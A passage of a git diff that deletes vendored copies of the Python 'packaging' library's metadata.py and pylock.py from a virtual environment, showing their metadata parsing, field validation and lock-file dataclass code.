(email.header.Header, str)) - - # If it's a header object, we need to do our little dance to get - # the real data out of it. In cases where there is invalid data - # we're going to end up with mojibake, but there's no obvious, good - # way around that without reimplementing parts of the Header object - # ourselves. - # - # That should be fine since, if mojibacked happens, this key is - # going into the unparsed dict anyways. - if isinstance(h, email.header.Header): - # The Header object stores it's data as chunks, and each chunk - # can be independently encoded, so we'll need to check each - # of them. - chunks: list[tuple[bytes, str | None]] = [] - for binary, _encoding in email.header.decode_header(h): - try: - binary.decode("utf8", "strict") - except UnicodeDecodeError: - # Enable mojibake. - encoding = "latin1" - valid_encoding = False - else: - encoding = "utf8" - chunks.append((binary, encoding)) - - # Turn our chunks back into a Header object, then let that - # Header object do the right thing to turn them into a - # string for us. - value.append(str(email.header.make_header(chunks))) - # This is already a string, so just add it. - else: - value.append(h) - - # We've processed all of our values to get them into a list of str, - # but we may have mojibake data, in which case this is an unparsed - # field. - if not valid_encoding: - unparsed[name] = value - continue - - raw_name = _EMAIL_TO_RAW_MAPPING.get(name) - if raw_name is None: - # This is a bit of a weird situation, we've encountered a key that - # we don't know what it means, so we don't know whether it's meant - # to be a list or not. - # - # Since we can't really tell one way or another, we'll just leave it - # as a list, even though it may be a single item list, because that's - # what makes the most sense for email headers. - unparsed[name] = value - continue - - # If this is one of our string fields, then we'll check to see if our - # value is a list of a single item. If it is then we'll assume that - # it was emitted as a single string, and unwrap the str from inside - # the list. - # - # If it's any other kind of data, then we haven't the faintest clue - # what we should parse it as, and we have to just add it to our list - # of unparsed stuff. - if raw_name in _STRING_FIELDS and len(value) == 1: - raw[raw_name] = value[0] - # If this is import_names, we need to special case the empty field - # case, which converts to an empty list instead of None. We can't let - # the empty case slip through, as it will fail validation. - elif raw_name == "import_names" and value == [""]: - raw[raw_name] = [] - # If this is one of our list of string fields, then we can just assign - # the value, since email *only* has strings, and our get_all() call - # above ensures that this is a list. - elif raw_name in _LIST_FIELDS: - raw[raw_name] = value - # Special Case: Keywords - # The keywords field is implemented in the metadata spec as a str, - # but it conceptually is a list of strings, and is serialized using - # ", ".join(keywords), so we'll do some light data massaging to turn - # this into what it logically is. - elif raw_name == "keywords" and len(value) == 1: - raw[raw_name] = _parse_keywords(value[0]) - # Special Case: Project-URL - # The project urls is implemented in the metadata spec as a list of - # specially-formatted strings that represent a key and a value, which - # is fundamentally a mapping, however the email format doesn't support - # mappings in a sane way, so it was crammed into a list of strings - # instead. - # - # We will do a little light data massaging to turn this into a map as - # it logically should be. - elif raw_name == "project_urls": - try: - raw[raw_name] = _parse_project_urls(value) - except KeyError: - unparsed[name] = value - # Nothing that we've done has managed to parse this, so it'll just - # throw it in our unparsable data and move on. - else: - unparsed[name] = value - - # We need to support getting the Description from the message payload in - # addition to getting it from the the headers. This does mean, though, there - # is the possibility of it being set both ways, in which case we put both - # in 'unparsed' since we don't know which is right. - try: - payload = _get_payload(parsed, data) - except ValueError: - unparsed.setdefault("description", []).append( - parsed.get_payload(decode=isinstance(data, bytes)) # type: ignore[call-overload] - ) - else: - if payload: - # Check to see if we've already got a description, if so then both - # it, and this body move to unparsable. - if "description" in raw: - description_header = cast("str", raw.pop("description")) - unparsed.setdefault("description", []).extend( - [description_header, payload] - ) - elif "description" in unparsed: - unparsed["description"].append(payload) - else: - raw["description"] = payload - - # We need to cast our `raw` to a metadata, because a TypedDict only support - # literal key names, but we're computing our key names on purpose, but the - # way this function is implemented, our `TypedDict` can only have valid key - # names. - return cast("RawMetadata", raw), unparsed - - -_NOT_FOUND = object() - - -# Keep the two values in sync. -_VALID_METADATA_VERSIONS = [ - "1.0", - "1.1", - "1.2", - "2.1", - "2.2", - "2.3", - "2.4", - "2.5", - "2.6", -] -_MetadataVersion = Literal[ - "1.0", "1.1", "1.2", "2.1", "2.2", "2.3", "2.4", "2.5", "2.6" -] - -_REQUIRED_ATTRS = frozenset(["metadata_version", "name", "version"]) - - -class _Validator(Generic[T]): - """Validate a metadata field. - - All _process_*() methods correspond to a core metadata field. The method is - called with the field's raw value. If the raw value is valid it is returned - in its "enriched" form (e.g. ``version.Version`` for the ``Version`` field). - If the raw value is invalid, :exc:`InvalidMetadata` is raised (with a cause - as appropriate). - """ - - name: str - raw_name: str - added: _MetadataVersion - - def __init__( - self, - *, - added: _MetadataVersion = "1.0", - ) -> None: - self.added = added - - def __set_name__(self, _owner: Metadata, name: str) -> None: - self.name = name - self.raw_name = _RAW_TO_EMAIL_MAPPING[name] - - def __get__(self, instance: Metadata, _owner: type[Metadata]) -> T: - # With Python 3.8, the caching can be replaced with functools.cached_property(). - # No need to check the cache as attribute lookup will resolve into the - # instance's __dict__ before __get__ is called. - cache = instance.__dict__ - value = instance._raw.get(self.name) - - # To make the _process_* methods easier, we'll check if the value is None - # and if this field is NOT a required attribute, and if both of those - # things are true, we'll skip the the converter. This will mean that the - # converters never have to deal with the None union. - if self.name in _REQUIRED_ATTRS or value is not None: - try: - converter: Callable[[Any], T] = getattr(self, f"_process_{self.name}") - except AttributeError: - pass - else: - value = converter(value) - - cache[self.name] = value - try: - del instance._raw[self.name] # type: ignore[misc] - except KeyError: - pass - - return cast("T", value) - - def _invalid_metadata( - self, msg: str, cause: Exception | None = None - ) -> InvalidMetadata: - exc = InvalidMetadata(self.raw_name, msg) - exc.__cause__ = cause - return exc - - def _process_metadata_version(self, value: str) -> _MetadataVersion: - # Implicitly makes Metadata-Version required. - if value not in _VALID_METADATA_VERSIONS: - raise self._invalid_metadata(f"{value!r} is not a valid metadata version") - return cast("_MetadataVersion", value) - - def _process_name(self, value: str) -> str: - if not value: - raise self._invalid_metadata(f"{self.raw_name!r} is a required field") - # Validate the name as a side-effect. - try: - utils.canonicalize_name(value, validate=True) - except utils.InvalidName as exc: - raise self._invalid_metadata( - f"{value!r} is invalid for {self.raw_name!r}", cause=exc - ) from exc - else: - return value - - def _process_version(self, value: str) -> Version: - if not value: - raise self._invalid_metadata(f"{self.raw_name!r} is a required field") - try: - return version_module.parse(value) - except version_module.InvalidVersion as exc: - raise self._invalid_metadata( - f"{value!r} is invalid for {self.raw_name!r}", cause=exc - ) from exc - - def _process_summary(self, value: str) -> str: - """Check the field contains no line breaks.""" - if _LINE_BOUNDARY_RE.search(value): - raise self._invalid_metadata(f"{self.raw_name!r} must be a single line") - return value - - def _process_description_content_type(self, value: str) -> str: - content_types = {"text/plain", "text/x-rst", "text/markdown"} - invalid_msg = ( - f"{self.raw_name!r} must be one of {list(content_types)}, not {value!r}" - ) - message = email.message.EmailMessage() - try: - message["content-type"] = value - # The email parser can raise IndexError on malformed RFC 2231 - # parameters such as "text/plain; x*". - except (ValueError, IndexError) as exc: - msg = f"{value!r} is not a valid content type for {self.raw_name!r}" - raise self._invalid_metadata(msg, cause=exc) from exc - content_type_header = message["content-type"] - if content_type_header.defects: - defect = content_type_header.defects[0] - msg = ( - f"{value!r} is not a valid content type for {self.raw_name!r}: {defect}" - ) - raise self._invalid_metadata(msg, cause=defect) from defect - - content_type, parameters = ( - # Defaults to `text/plain` if parsing failed. - message.get_content_type().lower(), - content_type_header.params, - ) - # Check if content-type is valid or defaulted to `text/plain` and thus was - # not parseable. - if content_type not in content_types or content_type not in value.lower(): - raise self._invalid_metadata(invalid_msg) - - charset = parameters.get("charset", "UTF-8") - if charset.lower() != "utf-8": - raise self._invalid_metadata( - f"{self.raw_name!r} can only specify the UTF-8 charset, not {charset!r}" - ) - - markdown_variants = {"GFM", "CommonMark"} - variant = parameters.get("variant", "GFM") # Use an acceptable default. - if content_type == "text/markdown" and variant not in markdown_variants: - raise self._invalid_metadata( - f"valid Markdown variants for {self.raw_name!r} are " - f"{list(markdown_variants)}, not {variant!r}", - ) - return value - - def _process_dynamic(self, value: list[str]) -> list[str]: - dynamic_fields = list(map(str.lower, value)) - for dynamic_field in dynamic_fields: - if dynamic_field in {"name", "version", "metadata-version"}: - raise self._invalid_metadata( - f"{dynamic_field!r} is not allowed as a dynamic field" - ) - elif dynamic_field not in _EMAIL_TO_RAW_MAPPING: - raise self._invalid_metadata( - f"{dynamic_field!r} is not a valid dynamic field" - ) - return dynamic_fields - - def _process_provides_extra( - self, - value: list[str], - ) -> list[utils.NormalizedName]: - normalized_names = [] - try: - for name in value: - normalized_names.append(utils.canonicalize_name(name, validate=True)) - except utils.InvalidName as exc: - raise self._invalid_metadata( - f"{name!r} is invalid for {self.raw_name!r}", cause=exc - ) from exc - else: - return normalized_names - - def _process_requires_python(self, value: str) -> specifiers.SpecifierSet: - try: - return specifiers.SpecifierSet(value) - except specifiers.InvalidSpecifier as exc: - raise self._invalid_metadata( - f"{value!r} is invalid for {self.raw_name!r}", cause=exc - ) from exc - - def _process_requires_dist( - self, - value: list[str], - ) -> list[requirements.Requirement]: - reqs = [] - try: - for req in value: - reqs.append(requirements.Requirement(req)) - except requirements.InvalidRequirement as exc: - raise self._invalid_metadata( - f"{req!r} is invalid for {self.raw_name!r}", cause=exc - ) from exc - else: - return reqs - - def _process_license_expression(self, value: str) -> NormalizedLicenseExpression: - try: - return licenses.canonicalize_license_expression(value) - except ValueError as exc: - raise self._invalid_metadata( - f"{value!r} is invalid for {self.raw_name!r}", cause=exc - ) from exc - - def _process_license_files(self, value: list[str]) -> list[str]: - paths = [] - for path in value: - if ".." in path: - raise self._invalid_metadata( - f"{path!r} is invalid for {self.raw_name!r}, " - "parent directory indicators are not allowed" - ) - if "*" in path: - raise self._invalid_metadata( - f"{path!r} is invalid for {self.raw_name!r}, paths must be resolved" - ) - if ( - pathlib.PurePosixPath(path).is_absolute() - or pathlib.PureWindowsPath(path).is_absolute() - ): - raise self._invalid_metadata( - f"{path!r} is invalid for {self.raw_name!r}, paths must be relative" - ) - if pathlib.PureWindowsPath(path).as_posix() != path: - raise self._invalid_metadata( - f"{path!r} is invalid for {self.raw_name!r}, " - "paths must use '/' delimiter" - ) - paths.append(path) - return paths - - def _process_import_names(self, value: list[str]) -> list[str]: - for import_name in value: - name, semicolon, private = import_name.partition(";") - name = name.rstrip() - for identifier in name.split("."): - if not identifier.isidentifier(): - raise self._invalid_metadata( - f"{name!r} is invalid for {self.raw_name!r}; " - f"{identifier!r} is not a valid identifier" - ) - elif keyword.iskeyword(identifier): - raise self._invalid_metadata( - f"{name!r} is invalid for {self.raw_name!r}; " - f"{identifier!r} is a keyword" - ) - if semicolon and private.lstrip() != "private": - raise self._invalid_metadata( - f"{import_name!r} is invalid for {self.raw_name!r}; " - "the only valid option is 'private'" - ) - return value - - _process_import_namespaces = _process_import_names - - -class Metadata: - """Representation of distribution metadata. - - Compared to :class:`RawMetadata`, this class provides objects representing - metadata fields instead of only using built-in types. Any invalid metadata - will cause :exc:`InvalidMetadata` to be raised (with a - :py:attr:`~BaseException.__cause__` attribute as appropriate). - - .. versionadded:: 23.2 - - .. versionchanged:: 24.0 - Optional attributes now return None when the field is absent instead of - raising. - """ - - _raw: RawMetadata - - @classmethod - def from_raw(cls, data: RawMetadata, *, validate: bool = True) -> Metadata: - """Create an instance from :class:`RawMetadata`. - - If *validate* is true, all metadata will be validated and all related - exceptions will be gathered and raised as an :class:`ExceptionGroup`; - otherwise, validation happens per attribute when it is accessed. - """ - ins = cls() - ins._raw = data.copy() # Mutations occur due to caching enriched values. - - if validate: - collector = _ErrorCollector() - metadata_version = None - with collector.collect(InvalidMetadata): - metadata_version = ins.metadata_version - metadata_age = _VALID_METADATA_VERSIONS.index(metadata_version) - - # Make sure to check for the fields that are present, the required - # fields (so their absence can be reported). - fields_to_check = frozenset(ins._raw) | _REQUIRED_ATTRS - # Remove fields that have already been checked. - fields_to_check -= {"metadata_version"} - - for key in fields_to_check: - try: - if metadata_version: - # Can't use getattr() as that triggers descriptor protocol which - # will fail due to no value for the instance argument. - try: - field_metadata_version = cls.__dict__[key].added - except KeyError: - exc = InvalidMetadata(key, f"unrecognized field: {key!r}") - collector.error(exc) - continue - field_age = _VALID_METADATA_VERSIONS.index( - field_metadata_version - ) - if field_age > metadata_age: - field = _RAW_TO_EMAIL_MAPPING[key] - exc = InvalidMetadata( - field, - f"{field} introduced in metadata version " - f"{field_metadata_version}, not {metadata_version}", - ) - collector.error(exc) - continue - getattr(ins, key) - except InvalidMetadata as exc: - collector.error(exc) - - collector.finalize("invalid metadata") - - return ins - - @classmethod - def from_email(cls, data: bytes | str, *, validate: bool = True) -> Metadata: - """Parse metadata from email headers. - - If *validate* is true, the metadata will be validated. All exceptions - related to validation will be gathered and raised as an :class:`ExceptionGroup`. - """ - raw, unparsed = parse_email(data) - - if validate: - with _ErrorCollector().on_exit("invalid or unparsed metadata") as collector: - for unparsed_key in unparsed: - if unparsed_key in _EMAIL_TO_RAW_MAPPING: - message = f"{unparsed_key!r} has invalid data" - else: - message = f"unrecognized field: {unparsed_key!r}" - collector.error(InvalidMetadata(unparsed_key, message)) - try: - validated = cls.from_raw(raw, validate=validate) - except ExceptionGroup as exc_group: - # The no-branch pragmas cover arcs only seen by Python 3.9. - for exc in exc_group.exceptions: # pragma: no branch - # A required field reported above as unparsed is absent - # from `raw`, so skip from_raw's duplicate "missing" - # complaint. - if not ( - isinstance(exc, InvalidMetadata) - and exc.field in unparsed - and _EMAIL_TO_RAW_MAPPING.get(exc.field) not in raw - ): - collector.error(exc) - else: - if not collector.errors: # pragma: no branch - return validated - - return cls.from_raw(raw, validate=validate) - - metadata_version: _Validator[_MetadataVersion] = _Validator() - """:external:ref:`core-metadata-metadata-version` - (required; validated to be a valid metadata version)""" - # `name` is not normalized/typed to NormalizedName so as to provide access to - # the original/raw name. - name: _Validator[str] = _Validator() - """:external:ref:`core-metadata-name` - (required; validated using :func:`~packaging.utils.canonicalize_name` and its - *validate* parameter)""" - version: _Validator[Version] = _Validator() - """:external:ref:`core-metadata-version` (required)""" - dynamic: _Validator[list[str] | None] = _Validator( - added="2.2", - ) - """:external:ref:`core-metadata-dynamic` - (validated against core metadata field names and lowercased)""" - platforms: _Validator[list[str] | None] = _Validator() - """:external:ref:`core-metadata-platform`""" - supported_platforms: _Validator[list[str] | None] = _Validator(added="1.1") - """:external:ref:`core-metadata-supported-platform`""" - summary: _Validator[str | None] = _Validator() - """:external:ref:`core-metadata-summary` (validated to contain no newlines)""" - description: _Validator[str | None] = _Validator() # TODO 2.1: can be in body - """:external:ref:`core-metadata-description`""" - description_content_type: _Validator[str | None] = _Validator(added="2.1") - """:external:ref:`core-metadata-description-content-type` (validated)""" - keywords: _Validator[list[str] | None] = _Validator() - """:external:ref:`core-metadata-keywords`""" - home_page: _Validator[str | None] = _Validator() - """:external:ref:`core-metadata-home-page`""" - download_url: _Validator[str | None] = _Validator(added="1.1") - """:external:ref:`core-metadata-download-url`""" - author: _Validator[str | None] = _Validator() - """:external:ref:`core-metadata-author`""" - author_email: _Validator[str | None] = _Validator() - """:external:ref:`core-metadata-author-email`""" - maintainer: _Validator[str | None] = _Validator(added="1.2") - """:external:ref:`core-metadata-maintainer`""" - maintainer_email: _Validator[str | None] = _Validator(added="1.2") - """:external:ref:`core-metadata-maintainer-email`""" - license: _Validator[str | None] = _Validator() - """:external:ref:`core-metadata-license`""" - license_expression: _Validator[NormalizedLicenseExpression | None] = _Validator( - added="2.4" - ) - """:external:ref:`core-metadata-license-expression` - - .. versionadded:: 24.2 - """ - license_files: _Validator[list[str] | None] = _Validator(added="2.4") - """:external:ref:`core-metadata-license-file` - - .. versionadded:: 24.2 - """ - classifiers: _Validator[list[str] | None] = _Validator(added="1.1") - """:external:ref:`core-metadata-classifier`""" - requires_dist: _Validator[list[requirements.Requirement] | None] = _Validator( - added="1.2" - ) - """:external:ref:`core-metadata-requires-dist`""" - requires_python: _Validator[specifiers.SpecifierSet | None] = _Validator( - added="1.2" - ) - """:external:ref:`core-metadata-requires-python`""" - # Because `Requires-External` allows for non-PEP 440 version specifiers, we - # don't do any processing on the values. - requires_external: _Validator[list[str] | None] = _Validator(added="1.2") - """:external:ref:`core-metadata-requires-external`""" - project_urls: _Validator[dict[str, str] | None] = _Validator(added="1.2") - """:external:ref:`core-metadata-project-url`""" - # PEP 685 lets us raise an error if an extra doesn't pass `Name` validation - # regardless of metadata version. - provides_extra: _Validator[list[utils.NormalizedName] | None] = _Validator( - added="2.1", - ) - """:external:ref:`core-metadata-provides-extra`""" - provides_dist: _Validator[list[str] | None] = _Validator(added="1.2") - """:external:ref:`core-metadata-provides-dist`""" - obsoletes_dist: _Validator[list[str] | None] = _Validator(added="1.2") - """:external:ref:`core-metadata-obsoletes-dist`""" - import_names: _Validator[list[str] | None] = _Validator(added="2.5") - """:external:ref:`core-metadata-import-name` - - .. versionadded:: 26.0 - """ - import_namespaces: _Validator[list[str] | None] = _Validator(added="2.5") - """:external:ref:`core-metadata-import-namespace` - - .. versionadded:: 26.0 - """ - requires: _Validator[list[str] | None] = _Validator(added="1.1") - """``Requires`` (deprecated)""" - provides: _Validator[list[str] | None] = _Validator(added="1.1") - """``Provides`` (deprecated)""" - obsoletes: _Validator[list[str] | None] = _Validator(added="1.1") - """``Obsoletes`` (deprecated)""" - - def as_rfc822(self) -> RFC822Message: - """ - Return an RFC822 message with the metadata. - - .. versionadded:: 26.0 - """ - message = RFC822Message() - self._write_metadata(message) - return message - - def _write_metadata(self, message: RFC822Message) -> None: - """ - Return an RFC822 message with the metadata. - """ - for name, validator in self.__class__.__dict__.items(): - if isinstance(validator, _Validator) and name != "description": - value = getattr(self, name) - email_name = _RAW_TO_EMAIL_MAPPING[name] - if value is not None: - if email_name == "project-url": - for label, url in value.items(): - message[email_name] = f"{label}, {url}" - elif email_name == "keywords": - message[email_name] = ",".join(value) - elif email_name == "import-name" and value == []: - message[email_name] = "" - elif isinstance(value, list): - for item in value: - message[email_name] = str(item) - else: - message[email_name] = str(value) - - # The description is a special case because it is in the body of the message. - if self.description is not None: - message.set_payload(self.description) diff --git a/venv/Lib/site-packages/packaging/py.typed b/venv/Lib/site-packages/packaging/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/packaging/pylock.py b/venv/Lib/site-packages/packaging/pylock.py deleted file mode 100644 index b7976232d63eb22990525dd8c7c5e2c5245db7da..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/pylock.py +++ /dev/null @@ -1,943 +0,0 @@ -from __future__ import annotations - -import dataclasses -import logging -import re -from collections.abc import Mapping, Sequence -from dataclasses import dataclass -from datetime import datetime -from typing import ( - TYPE_CHECKING, - Any, - Callable, - Protocol, - TypeVar, - cast, -) -from urllib.parse import unquote, urlparse - -from .markers import ( - Environment, - Marker, - _pep440_python_full_version, - default_environment, -) -from .specifiers import SpecifierSet -from .tags import create_compatible_tags_selector, sys_tags -from .utils import ( - NormalizedName, - is_normalized_name, - parse_sdist_filename, - parse_wheel_filename, -) -from .version import Version - -if TYPE_CHECKING: # pragma: no cover - from collections.abc import Collection, Iterator - from pathlib import Path - - from typing_extensions import Self - - from .tags import Tag - -_logger = logging.getLogger(__name__) - -__all__ = [ - "Package", - "PackageArchive", - "PackageDirectory", - "PackageSdist", - "PackageVcs", - "PackageWheel", - "Pylock", - "PylockSelectError", - "PylockUnsupportedVersionError", - "PylockValidationError", - "is_valid_pylock_path", -] - - -def __dir__() -> list[str]: - return __all__ - - -_T = TypeVar("_T") -_T2 = TypeVar("_T2") - - -class _FromMappingProtocol(Protocol): # pragma: no cover - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: ... - - -_FromMappingProtocolT = TypeVar("_FromMappingProtocolT", bound=_FromMappingProtocol) - - -_PYLOCK_FILE_NAME_RE = re.compile(r"^pylock\.([^.]+)\.toml$") - - -def is_valid_pylock_path(path: Path) -> bool: - """Check if the given path is a valid pylock file path.""" - return path.name == "pylock.toml" or bool(_PYLOCK_FILE_NAME_RE.match(path.name)) - - -def _toml_key(key: str) -> str: - return key.replace("_", "-") - - -def _toml_value(key: str, value: Any) -> Any: # noqa: ANN401 - if isinstance(value, (Version, Marker, SpecifierSet)): - return str(value) - if isinstance(value, Sequence) and key == "environments": - return [str(v) for v in value] - return value - - -def _toml_dict_factory(data: list[tuple[str, Any]]) -> dict[str, Any]: - return { - _toml_key(key): _toml_value(key, value) - for key, value in data - if value is not None - } - - -def _get(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T | None: - """Get a value from the dictionary and verify it's the expected type.""" - if (value := d.get(key)) is None: - return None - if not isinstance(value, expected_type) or ( - # Special case: bool is a subclass of int, but TOML distinguishes the two - expected_type is int and isinstance(value, bool) - ): - raise PylockValidationError( - f"Unexpected type {type(value).__name__} " - f"(expected {expected_type.__name__})", - context=key, - ) - return value - - -def _get_required(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T: - """Get a required value from the dictionary and verify it's the expected type.""" - if (value := _get(d, expected_type, key)) is None: - raise _PylockRequiredKeyError(key) - return value - - -def _get_sequence( - d: Mapping[str, Any], expected_item_type: type[_T], key: str -) -> Sequence[_T] | None: - """Get a list value from the dictionary and verify it's the expected items type.""" - if (value := _get(d, Sequence, key)) is None: # type: ignore[type-abstract] - return None - if isinstance(value, (str, bytes)): - # special case: str and bytes are Sequences, but we want to reject it - raise PylockValidationError( - f"Unexpected type {type(value).__name__} (expected Sequence)", - context=key, - ) - for i, item in enumerate(value): - if not isinstance(item, expected_item_type): - raise PylockValidationError( - f"Unexpected type {type(item).__name__} " - f"(expected {expected_item_type.__name__})", - context=f"{key}[{i}]", - ) - return value - - -def _get_as( - d: Mapping[str, Any], - expected_type: type[_T], - target_type: Callable[[_T], _T2], - key: str, -) -> _T2 | None: - """Get a value from the dictionary, verify it's the expected type, - and convert to the target type. - - This assumes the target_type constructor accepts the value. - """ - if (value := _get(d, expected_type, key)) is None: - return None - try: - return target_type(value) - except Exception as e: - raise PylockValidationError(e, context=key) from e - - -def _get_required_as( - d: Mapping[str, Any], - expected_type: type[_T], - target_type: Callable[[_T], _T2], - key: str, -) -> _T2: - """Get a required value from the dict, verify it's the expected type, - and convert to the target type.""" - if (value := _get_as(d, expected_type, target_type, key)) is None: - raise _PylockRequiredKeyError(key) - return value - - -def _get_sequence_as( - d: Mapping[str, Any], - expected_item_type: type[_T], - target_item_type: Callable[[_T], _T2], - key: str, -) -> list[_T2] | None: - """Get list value from dictionary and verify expected items type.""" - if (value := _get_sequence(d, expected_item_type, key)) is None: - return None - result = [] - try: - for item in value: - typed_item = target_item_type(item) - result.append(typed_item) - except Exception as e: - raise PylockValidationError(e, context=f"{key}[{len(result)}]") from e - return result - - -def _get_object( - d: Mapping[str, Any], target_type: type[_FromMappingProtocolT], key: str -) -> _FromMappingProtocolT | None: - """Get a dictionary value from the dictionary and convert it to a dataclass.""" - if (value := _get(d, Mapping, key)) is None: # type: ignore[type-abstract] - return None - try: - return target_type._from_dict(value) - except Exception as e: - raise PylockValidationError(e, context=key) from e - - -def _get_sequence_of_objects( - d: Mapping[str, Any], target_item_type: type[_FromMappingProtocolT], key: str -) -> list[_FromMappingProtocolT] | None: - """Get a list value from the dictionary and convert its items to a dataclass.""" - if (value := _get_sequence(d, Mapping, key)) is None: # type: ignore[type-abstract] - return None - result: list[_FromMappingProtocolT] = [] - try: - for item in value: - typed_item = target_item_type._from_dict(item) - result.append(typed_item) - except Exception as e: - raise PylockValidationError(e, context=f"{key}[{len(result)}]") from e - return result - - -def _get_required_sequence_of_objects( - d: Mapping[str, Any], target_item_type: type[_FromMappingProtocolT], key: str -) -> Sequence[_FromMappingProtocolT]: - """Get a required list value from the dictionary and convert its items to a - dataclass.""" - if (result := _get_sequence_of_objects(d, target_item_type, key)) is None: - raise _PylockRequiredKeyError(key) - return result - - -def _validate_normalized_name(name: str) -> NormalizedName: - """Validate that a string is a NormalizedName.""" - if not is_normalized_name(name): - raise PylockValidationError(f"Name {name!r} is not normalized") - return NormalizedName(name) - - -def _validate_path_url(path: str | None, url: str | None) -> None: - if not path and not url: - raise PylockValidationError("path or url must be provided") - - -def _path_name(path: str | None) -> str | None: - if not path: - return None - # If the path is relative it MAY use POSIX-style path separators explicitly - # for portability - if "/" in path: - return path.rsplit("/", 1)[-1] - elif "\\" in path: - return path.rsplit("\\", 1)[-1] - else: - return path - - -def _url_name(url: str | None) -> str | None: - if not url: - return None - url_path = urlparse(url).path - # The last path component is percent-encoded, so decode it to the file name - return unquote(url_path.rsplit("/", 1)[-1]) - - -def _validate_hashes(hashes: Mapping[str, Any]) -> Mapping[str, Any]: - if not hashes: - raise PylockValidationError("At least one hash must be provided") - if not all(isinstance(hash_val, str) for hash_val in hashes.values()): - raise PylockValidationError("Hash values must be strings") - return hashes - - -class PylockValidationError(Exception): - """Raised when when input data is not spec-compliant.""" - - context: str | None = None - message: str - - def __init__( - self, - cause: str | Exception, - *, - context: str | None = None, - ) -> None: - if isinstance(cause, PylockValidationError): - if cause.context: - self.context = ( - f"{context}.{cause.context}" if context else cause.context - ) - else: - self.context = context - self.message = cause.message - else: - self.context = context - self.message = str(cause) - - def __str__(self) -> str: - if self.context: - return f"{self.message} in {self.context!r}" - return self.message - - -class _PylockRequiredKeyError(PylockValidationError): - def __init__(self, key: str) -> None: - super().__init__("Missing required value", context=key) - - -class PylockUnsupportedVersionError(PylockValidationError): - """Raised when encountering an unsupported `lock_version`.""" - - -class PylockSelectError(Exception): - """Base exception for errors raised by :meth:`Pylock.select`. - - .. versionadded:: 26.1 - """ - - -@dataclass(frozen=True, init=False) -class PackageVcs: - type: str - url: str | None = None - path: str | None = None - requested_revision: str | None = None - commit_id: str # type: ignore[misc] - subdirectory: str | None = None - - def __init__( - self, - *, - type: str, - url: str | None = None, - path: str | None = None, - requested_revision: str | None = None, - commit_id: str, - subdirectory: str | None = None, - ) -> None: - # In Python 3.10+ make dataclass kw_only=True and remove __init__ - object.__setattr__(self, "type", type) - object.__setattr__(self, "url", url) - object.__setattr__(self, "path", path) - object.__setattr__(self, "requested_revision", requested_revision) - object.__setattr__(self, "commit_id", commit_id) - object.__setattr__(self, "subdirectory", subdirectory) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - package_vcs = cls( - type=_get_required(d, str, "type"), - url=_get(d, str, "url"), - path=_get(d, str, "path"), - requested_revision=_get(d, str, "requested-revision"), - commit_id=_get_required(d, str, "commit-id"), - subdirectory=_get(d, str, "subdirectory"), - ) - _validate_path_url(package_vcs.path, package_vcs.url) - return package_vcs - - -@dataclass(frozen=True, init=False) -class PackageDirectory: - path: str - editable: bool | None = None - subdirectory: str | None = None - - def __init__( - self, - *, - path: str, - editable: bool | None = None, - subdirectory: str | None = None, - ) -> None: - # In Python 3.10+ make dataclass kw_only=True and remove __init__ - object.__setattr__(self, "path", path) - object.__setattr__(self, "editable", editable) - object.__setattr__(self, "subdirectory", subdirectory) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - return cls( - path=_get_required(d, str, "path"), - editable=_get(d, bool, "editable"), - subdirectory=_get(d, str, "subdirectory"), - ) - - -@dataclass(frozen=True, init=False) -class PackageArchive: - url: str | None = None - path: str | None = None - size: int | None = None - upload_time: datetime | None = None - hashes: Mapping[str, str] # type: ignore[misc] - subdirectory: str | None = None - - def __init__( - self, - *, - url: str | None = None, - path: str | None = None, - size: int | None = None, - upload_time: datetime | None = None, - hashes: Mapping[str, str], - subdirectory: str | None = None, - ) -> None: - # In Python 3.10+ make dataclass kw_only=True and remove __init__ - object.__setattr__(self, "url", url) - object.__setattr__(self, "path", path) - object.__setattr__(self, "size", size) - object.__setattr__(self, "upload_time", upload_time) - object.__setattr__(self, "hashes", hashes) - object.__setattr__(self, "subdirectory", subdirectory) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - package_archive = cls( - url=_get(d, str, "url"), - path=_get(d, str, "path"), - size=_get(d, int, "size"), - upload_time=_get(d, datetime, "upload-time"), - hashes=_get_required_as(d, Mapping, _validate_hashes, "hashes"), # type: ignore[type-abstract] - subdirectory=_get(d, str, "subdirectory"), - ) - _validate_path_url(package_archive.path, package_archive.url) - return package_archive - - -@dataclass(frozen=True, init=False) -class PackageSdist: - name: str | None = None - upload_time: datetime | None = None - url: str | None = None - path: str | None = None - size: int | None = None - hashes: Mapping[str, str] # type: ignore[misc] - - def __init__( - self, - *, - name: str | None = None, - upload_time: datetime | None = None, - url: str | None = None, - path: str | None = None, - size: int | None = None, - hashes: Mapping[str, str], - ) -> None: - # In Python 3.10+ make dataclass kw_only=True and remove __init__ - object.__setattr__(self, "name", name) - object.__setattr__(self, "upload_time", upload_time) - object.__setattr__(self, "url", url) - object.__setattr__(self, "path", path) - object.__setattr__(self, "size", size) - object.__setattr__(self, "hashes", hashes) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - package_sdist = cls( - name=_get(d, str, "name"), - upload_time=_get(d, datetime, "upload-time"), - url=_get(d, str, "url"), - path=_get(d, str, "path"), - size=_get(d, int, "size"), - hashes=_get_required_as(d, Mapping, _validate_hashes, "hashes"), # type: ignore[type-abstract] - ) - _validate_path_url(package_sdist.path, package_sdist.url) - return package_sdist - - @property - def filename(self) -> str: - """Get the filename of the sdist. - - .. versionadded:: 26.1 - """ - filename = self.name or _path_name(self.path) or _url_name(self.url) - if not filename: - raise PylockValidationError("Cannot determine sdist filename") - return filename - - -@dataclass(frozen=True, init=False) -class PackageWheel: - name: str | None = None - upload_time: datetime | None = None - url: str | None = None - path: str | None = None - size: int | None = None - hashes: Mapping[str, str] # type: ignore[misc] - - def __init__( - self, - *, - name: str | None = None, - upload_time: datetime | None = None, - url: str | None = None, - path: str | None = None, - size: int | None = None, - hashes: Mapping[str, str], - ) -> None: - # In Python 3.10+ make dataclass kw_only=True and remove __init__ - object.__setattr__(self, "name", name) - object.__setattr__(self, "upload_time", upload_time) - 